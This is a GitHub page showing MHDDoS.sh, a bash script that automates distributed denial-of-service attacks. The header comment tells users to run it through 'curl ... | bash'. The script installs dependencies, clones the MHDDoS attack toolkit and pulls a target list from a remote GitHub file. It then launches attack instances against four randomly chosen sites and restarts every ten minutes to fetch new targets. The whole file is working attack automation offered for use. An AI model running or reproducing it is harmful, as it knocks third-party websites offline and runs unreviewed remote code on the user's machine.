-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathMHDDoS.sh
77 lines (61 loc) · 2.77 KB
/
MHDDoS.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/bin/bash
##### Use next command in local linux terminal to run this script.
# >>>>> curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/MHDDoS.sh | bash <<<<<
##### To kill script press CTRL+C several times.
## Restart script every N seconds (600s = 10m).
## It allows to download MHDDoS updates and target list updates.
## Also for some reaseon MHDDoS crashes quite often, so scheduled restarts eliminates that problem.
restart_interval=600
## Number of sites to attack simultaneously. Sites choosen from (https://github.com/KarboDuck/karbo-wiki/blob/master/MHDDoS_targets)
num_of_targets=4
# Install git if it doesn't installed already
if [ ! -f /usr/bin/git ]; then
sudo apt install git -y
fi
# Install python3 if it doesn't installed already
if [ ! -f /usr/bin/python3 ]; then
sudo apt install python3 -y
fi
# Install pip if it doesn't installed already
if [ ! -f /usr/bin/pip ]; then
apt install python3-pip -y
fi
#No output. Resolved some problems with pip on debian
pip install --upgrade pip > /dev/null
#Install latest version of MHDDoS
cd ~
rm -rf MHDDoS
git clone https://github.com/MHProDev/MHDDoS.git
cd MHDDoS
pip install -r requirements.txt > /dev/null #(no output on screen)
while true
echo "#####################################"
do
# Get number of targets in MHDDoS_targets. First 5 strings ommited, those are reserved as comments.
list_size=$(curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/MHDDoS_targets | cat | tail -n +6 | wc -l)
echo -e "\nNumber of targets in list: " $list_size "\n"
# Create list with random numbers
random_numbers=$(shuf -i 1-$list_size -n $num_of_targets)
echo -e "random numbers: " $random_numbers "\n"
# Print all randomly selected targets on screen
echo -e "Choosen targets:\n"
for i in $random_numbers
do
site=$(awk 'NR=='"$i" <<< "$(curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/MHDDoS_targets | cat | tail -n +6)")
echo -e "-- "$site"\n"
done
# Launch multiple MHDDoS instances. Targets choosed based on previosly generated list of random numbers.
for i in $random_numbers
do
# Get pre-random line from targets list
site=$(awk 'NR=='"$i" <<< "$(curl -s https://raw.githubusercontent.com/KarboDuck/karbo-wiki/master/MHDDoS_targets | cat | tail -n +6)")
# Cut "command line" from string. Command line is everything before "#" that is used as delimiter for comments purpose.
cmd_line=$(echo $site | awk -F "#" '{print $1}')
#echo $cmd_line
python3 ~/MHDDoS/start.py $cmd_line&
done
echo "#####################################"
sleep $restart_interval
echo -e "n RESTARTING\n"
pkill -f start.py
done